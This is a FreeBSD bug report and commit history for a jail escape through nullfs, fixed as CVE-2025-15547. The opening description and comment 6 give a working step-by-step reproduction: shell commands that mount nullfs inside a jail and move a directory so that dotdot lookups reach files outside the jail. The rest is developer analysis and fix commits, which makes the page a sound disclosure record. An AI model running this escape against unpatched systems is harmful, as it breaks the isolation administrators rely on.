Bug 262180 - jail escaping via jail-friendly nullfs
Summary: jail escaping via jail-friendly nullfs
Status: Closed FIXED
Alias: None
Product: Base System
Classification: Unclassified
Component: kern (show other bugs)
Version: 12.3-RELEASE
Hardware: Any Any
: --- Affects Only Me
Assignee: Mark Johnston
URL:
Keywords: needs-qa, security
Depends on:
Blocks:
 
Reported: 2022-02-24 23:43 UTC by firk
Modified: 2026-02-24 16:05 UTC (History)
10 users (show)

See Also:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description firk 2022-02-24 23:43:32 UTC
Jail could be escaped when run with enforce_statfs<2, allow.mount=true, allow.mount.nullfs=true.

prepare jail environment
> mkdir /j/1
> tar -c -f - /bin/ lib /libexec /sbin | tar -x -f - -C /j/1
> mkdir /j/1/tmp

start a vulnerable jail
> jail -c path=/j/1 persist=false allow.mount=true allow.mount.nullfs=true enforce_statfs=1 command=/bin/sh

malicious code
> mkdir /tmp/a /tmp/a/b/c /tmp/a/b/c/test /tmp/a/d
> mount -t nullfs /tmp/a/b/c /tmp/a/d
> cd /tmp/a/d/test
> mv /tmp/a/b/c/test /tmp/a/b/test
> ls -al ../../../../..
> ls -al ../../../../../..

you will see the files outside the jail
Comment 1 devnull freebsd_committer freebsd_triage 2023-06-21 23:33:04 UTC
> 12.3-RELEASE

No longer supported. 

Can you reproduce symptoms with a supported RELEASE? 

<https://www.freebsd.org/security/#sup>

Thank you.
Comment 2 crest 2023-07-25 09:27:19 UTC
Where in your sequence of of commands did you attach to the jail? It's the jail that's locking in processes not the nullfs. Outside of the jail you're expected to be able to leave the nullfs with `cd ..`. Or did I miss-understand and the nullfs mount from inside the jail is able to expose a path from beneath the jail under the jail root directory despite the (n)mount performed inside the jail? If this is the case just ignoring it with a the release is EoL is a cheap cop out and we have to define what's the expected semantics for nullfs mounting at different enforce_statfs levels.
Comment 3 firk 2023-11-24 22:44:59 UTC
(In reply to Graham Perrin from comment #1)

> Can you reproduce symptoms with a supported RELEASE? 

Yes it still works on 14.0-RELEASE.
Comment 4 firk 2023-11-24 22:46:03 UTC
(In reply to crest from comment #2)

> Where in your sequence of of commands did you attach to the jail?

"jail" command does this (create+attach).
Comment 5 Thibault Payet 2024-07-12 18:11:24 UTC
This can be reproduced on 14.2 as well. (note the need to pass -p for mkdir).
Comment 6 Thibault Payet 2024-07-13 12:02:52 UTC
(In reply to Thibault Payet from comment #5)
Note that this does not work on ZFS if each jail are in separate datasets. See the result when using a dataset for /j

zfs create zroot/j
zfs set mountpoint=/j zroot/j
mkdir /j/1
mkdir -p /tmp/a /tmp/a/b/c /tmp/a/b/c/test /tmp/a/d
mount -t nullfs /tmp/a/b/c /tmp/a/d
cd /tmp/a/d/test/
mv /tmp/a/b/c/test /tmp/a/b/test

ls -al ../../../../..
Return

ls: ..: No such file or directory
total 2
drwxr-xr-x  3 0 0 3 Jul 13 11:54 .
drwxr-xr-x  7 0 0 7 Jul 13 11:54 1

And
ls -al ../../../../../..
Return
ls: ../../../../../..: No such file or directory
Comment 7 Mark Johnston freebsd_committer freebsd_triage 2025-03-28 11:22:36 UTC
This is a consequence of the way nullfs handles dotdot lookups.  Here, a proc's cwd is a nullfs vnode, and behind the scenes the corresponding lower vnode is moved out of the exported directory.  Then, successive dotdot lookups instantiate nullfs vnodes outside of the nullfs mountpoint.  These get returned and effectively "cover" the jail's root dir, so the pointer equality check in vfs_lookup() against ni_rootdir doesn't work because it's comparing the returned nullfs vnode with a lower vnode.

There is a hack in null_lookup() to handle this kind of situation, and this is enough to prevent the problem if the process root is also a mountpoint.

To fix this, I think vfs_lookup() either has to compare ni_topdir/ni_rootdir with "dp" and its aliases, using a VOP implemented by nullfs.  Or, we can start passing the ndp to VOP_LOOKUP somehow and modify nullfs to perform this check internally.
Comment 8 Konstantin Belousov freebsd_committer freebsd_triage 2025-05-17 05:53:11 UTC
(In reply to Mark Johnston from comment #7)
I think it is enough to set NOCROSSMOUNT for internal lookups from null_lookup().
There is one more bug also.

See https://reviews.freebsd.org/D50390
Comment 9 commit-hook freebsd_committer freebsd_triage 2025-05-23 13:04:52 UTC
A commit in branch main references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=7587f6d4840f8d363e457cddc14c184cf1fe7cc1

commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2025-05-23 12:52:24 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2025-05-23 13:03:38 +0000

    namei: Make stackable filesystems check harder for jail roots

    Suppose a process has its cwd pointing to a nullfs directory, where the
    lower directory is also visible in the jail's filesystem namespace.
    Suppose that the lower directory vnode is moved out from under the
    nullfs mount.  The nullfs vnode still shadows the lower vnode, and
    dotdot lookups relative to that directory will instantiate new nullfs
    vnodes outside of the nullfs mountpoint, effectively shadowing the lower
    filesystem.

    This phenomenon can be abused to escape a chroot, since the nullfs
    vnodes instantiated by these dotdot lookups defeat the root vnode check
    in vfs_lookup(), which uses vnode pointer equality to test for the
    process root.

    Fix this by extending nullfs and unionfs to perform the same check,
    exploiting the fact that the passed componentname is embedded in a
    nameidata structure to avoid changing the VOP_LOOKUP interface.  That
    is, add a flag to indicate that containerof can be used to get the full
    nameidata structure, and perform the root vnode check on the lower vnode
    when performing a dotdot lookup.

    PR:             262180
    Reviewed by:    olce, kib
    MFC after:      2 weeks
    Differential Revision:  https://reviews.freebsd.org/D50418

 share/man/man9/namei.9       |  9 +++++++++
 sys/fs/nullfs/null_vnops.c   | 28 ++++++++++++++++++----------
 sys/fs/unionfs/union_vnops.c | 21 +++++++++++++++++++++
 sys/kern/vfs_cache.c         | 11 +----------
 sys/kern/vfs_lookup.c        | 41 ++++++++++++++++++++++++++++++-----------
 sys/sys/namei.h              |  5 ++++-
 6 files changed, 83 insertions(+), 32 deletions(-)
Comment 10 commit-hook freebsd_committer freebsd_triage 2025-06-24 21:05:09 UTC
A commit in branch main references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=f35525ff2053e026a423e852136d73ed93c95803

commit f35525ff2053e026a423e852136d73ed93c95803
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2025-06-24 20:17:07 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2025-06-24 21:04:18 +0000

    file: Add a fd flag with O_RESOLVE_BENEATH semantics

    The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that
    they remain under the directory referenced by the dirfd.  This commit
    introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored
    in the file descriptor entry.  When the flag is set, any lookup relative
    to that fd automatically has O_RESOLVE_BENEATH semantics.  Furthermore,
    the flag is sticky, meaning that it cannot be cleared, and it is copied
    by dup() and openat().

    File descriptors with FD_RESOLVE_BENEATH set may not be passed to
    fchdir(2) or fchroot(2).  Various fd lookup routines are modified to
    return fd flags to the caller.

    This flag will be used to address a case where jails with different root
    directories and the ability to pass SCM_RIGHTS messages across the jail
    boundary can transfer directory fds in such as way as to allow a
    filesystem escape.

    PR:             262180
    Reviewed by:    kib
    MFC after:      3 weeks
    Differential Revision:  https://reviews.freebsd.org/D50371

 lib/libsys/fcntl.2           | 63 +++++++++++++++++++----------
 sys/fs/fdescfs/fdesc_vnops.c |  4 +-
 sys/kern/kern_descrip.c      | 95 ++++++++++++++++++++++++++++++++------------
 sys/kern/uipc_syscalls.c     |  2 +-
 sys/kern/vfs_acl.c           |  4 +-
 sys/kern/vfs_cache.c         | 14 +++++--
 sys/kern/vfs_extattr.c       |  8 ++--
 sys/kern/vfs_syscalls.c      | 28 +++++++++----
 sys/sys/fcntl.h              |  2 +
 sys/sys/file.h               |  2 +-
 sys/sys/filedesc.h           |  8 +++-
 sys/sys/namei.h              |  1 +
 12 files changed, 162 insertions(+), 69 deletions(-)
Comment 11 commit-hook freebsd_committer freebsd_triage 2025-06-30 14:21:43 UTC
A commit in branch stable/14 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=3feafab4a34c95209cd4fc3e6224c324efc056f3

commit 3feafab4a34c95209cd4fc3e6224c324efc056f3
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2025-05-23 12:52:24 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2025-06-30 14:19:30 +0000

    namei: Make stackable filesystems check harder for jail roots

    Suppose a process has its cwd pointing to a nullfs directory, where the
    lower directory is also visible in the jail's filesystem namespace.
    Suppose that the lower directory vnode is moved out from under the
    nullfs mount.  The nullfs vnode still shadows the lower vnode, and
    dotdot lookups relative to that directory will instantiate new nullfs
    vnodes outside of the nullfs mountpoint, effectively shadowing the lower
    filesystem.

    This phenomenon can be abused to escape a chroot, since the nullfs
    vnodes instantiated by these dotdot lookups defeat the root vnode check
    in vfs_lookup(), which uses vnode pointer equality to test for the
    process root.

    Fix this by extending nullfs and unionfs to perform the same check,
    exploiting the fact that the passed componentname is embedded in a
    nameidata structure to avoid changing the VOP_LOOKUP interface.  That
    is, add a flag to indicate that containerof can be used to get the full
    nameidata structure, and perform the root vnode check on the lower vnode
    when performing a dotdot lookup.

    PR:             262180
    Reviewed by:    olce, kib
    MFC after:      2 weeks
    Differential Revision:  https://reviews.freebsd.org/D50418

    (cherry picked from commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1)

 sys/fs/nullfs/null_vnops.c   | 28 ++++++++++++++++++----------
 sys/fs/unionfs/union_vnops.c | 21 +++++++++++++++++++++
 sys/kern/vfs_cache.c         | 11 +----------
 sys/kern/vfs_lookup.c        | 41 ++++++++++++++++++++++++++++++-----------
 sys/sys/namei.h              |  5 ++++-
 5 files changed, 74 insertions(+), 32 deletions(-)
Comment 12 commit-hook freebsd_committer freebsd_triage 2025-07-29 12:49:45 UTC
A commit in branch stable/14 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=10b3f2138573da952b4db29f88f6d67cfc3300cd

commit 10b3f2138573da952b4db29f88f6d67cfc3300cd
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2025-06-24 20:17:07 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2025-07-29 12:08:32 +0000

    file: Add a fd flag with O_RESOLVE_BENEATH semantics

    The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that
    they remain under the directory referenced by the dirfd.  This commit
    introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored
    in the file descriptor entry.  When the flag is set, any lookup relative
    to that fd automatically has O_RESOLVE_BENEATH semantics.  Furthermore,
    the flag is sticky, meaning that it cannot be cleared, and it is copied
    by dup() and openat().

    File descriptors with FD_RESOLVE_BENEATH set may not be passed to
    fchdir(2) or fchroot(2).  Various fd lookup routines are modified to
    return fd flags to the caller.

    This flag will be used to address a case where jails with different root
    directories and the ability to pass SCM_RIGHTS messages across the jail
    boundary can transfer directory fds in such as way as to allow a
    filesystem escape.

    PR:             262180
    Reviewed by:    kib
    MFC after:      3 weeks
    Differential Revision:  https://reviews.freebsd.org/D50371

    (cherry picked from commit f35525ff2053e026a423e852136d73ed93c95803)

 lib/libc/sys/fcntl.2         | 63 +++++++++++++++++++----------
 sys/fs/fdescfs/fdesc_vnops.c |  4 +-
 sys/kern/kern_descrip.c      | 95 ++++++++++++++++++++++++++++++++------------
 sys/kern/uipc_syscalls.c     |  2 +-
 sys/kern/vfs_acl.c           |  4 +-
 sys/kern/vfs_cache.c         | 14 +++++--
 sys/kern/vfs_extattr.c       |  8 ++--
 sys/kern/vfs_syscalls.c      | 21 +++++++---
 sys/sys/fcntl.h              |  2 +
 sys/sys/file.h               |  2 +-
 sys/sys/filedesc.h           |  8 +++-
 sys/sys/namei.h              |  1 +
 12 files changed, 156 insertions(+), 68 deletions(-)
Comment 13 commit-hook freebsd_committer freebsd_triage 2025-11-21 15:19:45 UTC
A commit in branch stable/13 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=592de68e328b4edf8acdb2a0b0b66a813747b440

commit 592de68e328b4edf8acdb2a0b0b66a813747b440
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2025-05-23 12:52:24 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2025-11-19 20:47:50 +0000

    namei: Make stackable filesystems check harder for jail roots

    Suppose a process has its cwd pointing to a nullfs directory, where the
    lower directory is also visible in the jail's filesystem namespace.
    Suppose that the lower directory vnode is moved out from under the
    nullfs mount.  The nullfs vnode still shadows the lower vnode, and
    dotdot lookups relative to that directory will instantiate new nullfs
    vnodes outside of the nullfs mountpoint, effectively shadowing the lower
    filesystem.

    This phenomenon can be abused to escape a chroot, since the nullfs
    vnodes instantiated by these dotdot lookups defeat the root vnode check
    in vfs_lookup(), which uses vnode pointer equality to test for the
    process root.

    Fix this by extending nullfs and unionfs to perform the same check,
    exploiting the fact that the passed componentname is embedded in a
    nameidata structure to avoid changing the VOP_LOOKUP interface.  That
    is, add a flag to indicate that containerof can be used to get the full
    nameidata structure, and perform the root vnode check on the lower vnode
    when performing a dotdot lookup.

    PR:             262180
    Reviewed by:    olce, kib
    MFC after:      2 weeks
    Differential Revision:  https://reviews.freebsd.org/D50418

    (cherry picked from commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1)

 sys/fs/nullfs/null_vnops.c   | 28 +++++++++++++++++----------
 sys/fs/unionfs/union_vnops.c | 19 ++++++++++++++++++
 sys/kern/vfs_cache.c         | 11 +----------
 sys/kern/vfs_lookup.c        | 46 +++++++++++++++++++++++++++++++-------------
 sys/sys/namei.h              |  5 ++++-
 5 files changed, 75 insertions(+), 34 deletions(-)
Comment 14 commit-hook freebsd_committer freebsd_triage 2026-01-27 19:17:19 UTC
A commit in branch releng/14.3 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=193ae464aa365633e6628d2fc5fa425eca961f88

commit 193ae464aa365633e6628d2fc5fa425eca961f88
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2025-05-23 12:52:24 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2026-01-26 16:49:29 +0000

    namei: Make stackable filesystems check harder for jail roots

    Suppose a process has its cwd pointing to a nullfs directory, where the
    lower directory is also visible in the jail's filesystem namespace.
    Suppose that the lower directory vnode is moved out from under the
    nullfs mount.  The nullfs vnode still shadows the lower vnode, and
    dotdot lookups relative to that directory will instantiate new nullfs
    vnodes outside of the nullfs mountpoint, effectively shadowing the lower
    filesystem.

    This phenomenon can be abused to escape a chroot, since the nullfs
    vnodes instantiated by these dotdot lookups defeat the root vnode check
    in vfs_lookup(), which uses vnode pointer equality to test for the
    process root.

    Fix this by extending nullfs and unionfs to perform the same check,
    exploiting the fact that the passed componentname is embedded in a
    nameidata structure to avoid changing the VOP_LOOKUP interface.  That
    is, add a flag to indicate that containerof can be used to get the full
    nameidata structure, and perform the root vnode check on the lower vnode
    when performing a dotdot lookup.

    Approved by:    so
    Security:       FreeBSD-SA-26:02.jail
    Security:       CVE-2025-15547
    PR:             262180
    Reviewed by:    olce, kib
    MFC after:      2 weeks
    Differential Revision:  https://reviews.freebsd.org/D50418

    (cherry picked from commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1)
    (cherry picked from commit 3feafab4a34c95209cd4fc3e6224c324efc056f3)

 sys/fs/nullfs/null_vnops.c   | 28 ++++++++++++++++++----------
 sys/fs/unionfs/union_vnops.c | 21 +++++++++++++++++++++
 sys/kern/vfs_cache.c         | 11 +----------
 sys/kern/vfs_lookup.c        | 41 ++++++++++++++++++++++++++++++-----------
 sys/sys/namei.h              |  5 ++++-
 5 files changed, 74 insertions(+), 32 deletions(-)
Comment 15 commit-hook freebsd_committer freebsd_triage 2026-01-27 19:17:23 UTC
A commit in branch releng/13.5 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=e87a5dd8054a180a74bb47078f937fde8123e883

commit e87a5dd8054a180a74bb47078f937fde8123e883
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2025-05-23 12:52:24 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2026-01-26 16:45:56 +0000

    namei: Make stackable filesystems check harder for jail roots

    Suppose a process has its cwd pointing to a nullfs directory, where the
    lower directory is also visible in the jail's filesystem namespace.
    Suppose that the lower directory vnode is moved out from under the
    nullfs mount.  The nullfs vnode still shadows the lower vnode, and
    dotdot lookups relative to that directory will instantiate new nullfs
    vnodes outside of the nullfs mountpoint, effectively shadowing the lower
    filesystem.

    This phenomenon can be abused to escape a chroot, since the nullfs
    vnodes instantiated by these dotdot lookups defeat the root vnode check
    in vfs_lookup(), which uses vnode pointer equality to test for the
    process root.

    Fix this by extending nullfs and unionfs to perform the same check,
    exploiting the fact that the passed componentname is embedded in a
    nameidata structure to avoid changing the VOP_LOOKUP interface.  That
    is, add a flag to indicate that containerof can be used to get the full
    nameidata structure, and perform the root vnode check on the lower vnode
    when performing a dotdot lookup.

    Approved by:    so
    Security:       FreeBSD-SA-26:02.jail
    Security:       CVE-2025-15547
    PR:             262180
    Reviewed by:    olce, kib
    MFC after:      2 weeks
    Differential Revision:  https://reviews.freebsd.org/D50418

    (cherry picked from commit 7587f6d4840f8d363e457cddc14c184cf1fe7cc1)
    (cherry picked from commit 592de68e328b4edf8acdb2a0b0b66a813747b440)

 sys/fs/nullfs/null_vnops.c   | 28 +++++++++++++++++----------
 sys/fs/unionfs/union_vnops.c | 19 ++++++++++++++++++
 sys/kern/vfs_cache.c         | 11 +----------
 sys/kern/vfs_lookup.c        | 46 +++++++++++++++++++++++++++++++-------------
 sys/sys/namei.h              |  5 ++++-
 5 files changed, 75 insertions(+), 34 deletions(-)
Comment 16 crest 2026-01-27 20:48:33 UTC
Mark Johnston: Thanks for fixing this on FreeBSD 13 too.
Comment 17 commit-hook freebsd_committer freebsd_triage 2026-02-09 20:44:54 UTC
A commit in branch stable/13 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=f7cbcb19a9ecf606172d6d6c472b5ba7130a398b

commit f7cbcb19a9ecf606172d6d6c472b5ba7130a398b
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2026-02-09 16:47:16 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2026-02-09 16:54:57 +0000

    file: Add a fd flag with O_RESOLVE_BENEATH semantics

    The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that
    they remain under the directory referenced by the dirfd.  This commit
    introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored
    in the file descriptor entry.  When the flag is set, any lookup relative
    to that fd automatically has O_RESOLVE_BENEATH semantics.  Furthermore,
    the flag is sticky, meaning that it cannot be cleared, and it is copied
    by dup() and openat().

    File descriptors with FD_RESOLVE_BENEATH set may not be passed to
    fchdir(2) or fchroot(2).  Various fd lookup routines are modified to
    return fd flags to the caller.

    This flag will be used to address a case where jails with different root
    directories and the ability to pass SCM_RIGHTS messages across the jail
    boundary can transfer directory fds in such as way as to allow a
    filesystem escape.

    PR:             262180
    Reviewed by:    kib
    MFC after:      3 weeks
    Differential Revision:  https://reviews.freebsd.org/D50371

    (cherry picked from commit f35525ff2053e026a423e852136d73ed93c95803)

 lib/libc/sys/fcntl.2              | 63 +++++++++++++++++++---------
 sys/compat/cloudabi/cloudabi_fd.c |  2 +-
 sys/fs/fdescfs/fdesc_vnops.c      |  4 +-
 sys/kern/kern_descrip.c           | 87 ++++++++++++++++++++++++++++-----------
 sys/kern/uipc_syscalls.c          |  2 +-
 sys/kern/vfs_acl.c                |  4 +-
 sys/kern/vfs_cache.c              | 14 +++++--
 sys/kern/vfs_extattr.c            |  8 ++--
 sys/kern/vfs_syscalls.c           | 22 +++++++---
 sys/sys/fcntl.h                   |  2 +
 sys/sys/file.h                    |  2 +-
 sys/sys/filedesc.h                |  8 +++-
 sys/sys/namei.h                   |  1 +
 13 files changed, 153 insertions(+), 66 deletions(-)
Comment 18 commit-hook freebsd_committer freebsd_triage 2026-02-24 16:02:02 UTC
A commit in branch releng/14.3 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=aaa0c2247f4c1466ca90b58650381e318f8be8fc

commit aaa0c2247f4c1466ca90b58650381e318f8be8fc
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2025-06-24 20:17:07 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2026-02-23 16:00:13 +0000

    file: Add a fd flag with O_RESOLVE_BENEATH semantics

    The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that
    they remain under the directory referenced by the dirfd.  This commit
    introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored
    in the file descriptor entry.  When the flag is set, any lookup relative
    to that fd automatically has O_RESOLVE_BENEATH semantics.  Furthermore,
    the flag is sticky, meaning that it cannot be cleared, and it is copied
    by dup() and openat().

    File descriptors with FD_RESOLVE_BENEATH set may not be passed to
    fchdir(2) or fchroot(2).  Various fd lookup routines are modified to
    return fd flags to the caller.

    This flag will be used to address a case where jails with different root
    directories and the ability to pass SCM_RIGHTS messages across the jail
    boundary can transfer directory fds in such as way as to allow a
    filesystem escape.

    Approved by:    so
    PR:             262180
    Reviewed by:    kib
    MFC after:      3 weeks
    Differential Revision:  https://reviews.freebsd.org/D50371

    (cherry picked from commit f35525ff2053e026a423e852136d73ed93c95803)
    (cherry picked from commit 10b3f2138573da952b4db29f88f6d67cfc3300cd)

 sys/fs/fdescfs/fdesc_vnops.c |  4 +-
 sys/kern/kern_descrip.c      | 97 ++++++++++++++++++++++++++++++++------------
 sys/kern/uipc_syscalls.c     |  2 +-
 sys/kern/vfs_acl.c           |  4 +-
 sys/kern/vfs_cache.c         | 14 +++++--
 sys/kern/vfs_extattr.c       |  8 ++--
 sys/kern/vfs_syscalls.c      | 21 +++++++---
 sys/sys/file.h               |  2 +-
 sys/sys/filedesc.h           |  8 +++-
 sys/sys/namei.h              |  1 +
 10 files changed, 113 insertions(+), 48 deletions(-)
Comment 19 commit-hook freebsd_committer freebsd_triage 2026-02-24 16:05:05 UTC
A commit in branch releng/13.5 references this bug:

URL: https://cgit.FreeBSD.org/src/commit/?id=82cee749b5230ac906a30ad6bf5a0bababbe00e9

commit 82cee749b5230ac906a30ad6bf5a0bababbe00e9
Author:     Mark Johnston <markj@FreeBSD.org>
AuthorDate: 2026-02-09 16:47:16 +0000
Commit:     Mark Johnston <markj@FreeBSD.org>
CommitDate: 2026-02-23 01:48:38 +0000

    file: Add a fd flag with O_RESOLVE_BENEATH semantics

    The O_RESOLVE_BENEATH openat(2) flag restricts name lookups such that
    they remain under the directory referenced by the dirfd.  This commit
    introduces an implicit version of the flag, FD_RESOLVE_BENEATH, stored
    in the file descriptor entry.  When the flag is set, any lookup relative
    to that fd automatically has O_RESOLVE_BENEATH semantics.  Furthermore,
    the flag is sticky, meaning that it cannot be cleared, and it is copied
    by dup() and openat().

    File descriptors with FD_RESOLVE_BENEATH set may not be passed to
    fchdir(2) or fchroot(2).  Various fd lookup routines are modified to
    return fd flags to the caller.

    This flag will be used to address a case where jails with different root
    directories and the ability to pass SCM_RIGHTS messages across the jail
    boundary can transfer directory fds in such as way as to allow a
    filesystem escape.

    Approved by:    so
    PR:             262180
    Reviewed by:    kib
    MFC after:      3 weeks
    Differential Revision:  https://reviews.freebsd.org/D50371

    (cherry picked from commit f35525ff2053e026a423e852136d73ed93c95803)
    (cherry picked from commit f7cbcb19a9ecf606172d6d6c472b5ba7130a398b)

 sys/compat/cloudabi/cloudabi_fd.c |  2 +-
 sys/fs/fdescfs/fdesc_vnops.c      |  4 +-
 sys/kern/kern_descrip.c           | 89 +++++++++++++++++++++++++++++----------
 sys/kern/uipc_syscalls.c          |  2 +-
 sys/kern/vfs_acl.c                |  4 +-
 sys/kern/vfs_cache.c              | 14 ++++--
 sys/kern/vfs_extattr.c            |  8 ++--
 sys/kern/vfs_syscalls.c           | 22 +++++++---
 sys/sys/file.h                    |  2 +-
 sys/sys/filedesc.h                |  8 +++-
 sys/sys/namei.h                   |  1 +
 11 files changed, 110 insertions(+), 46 deletions(-)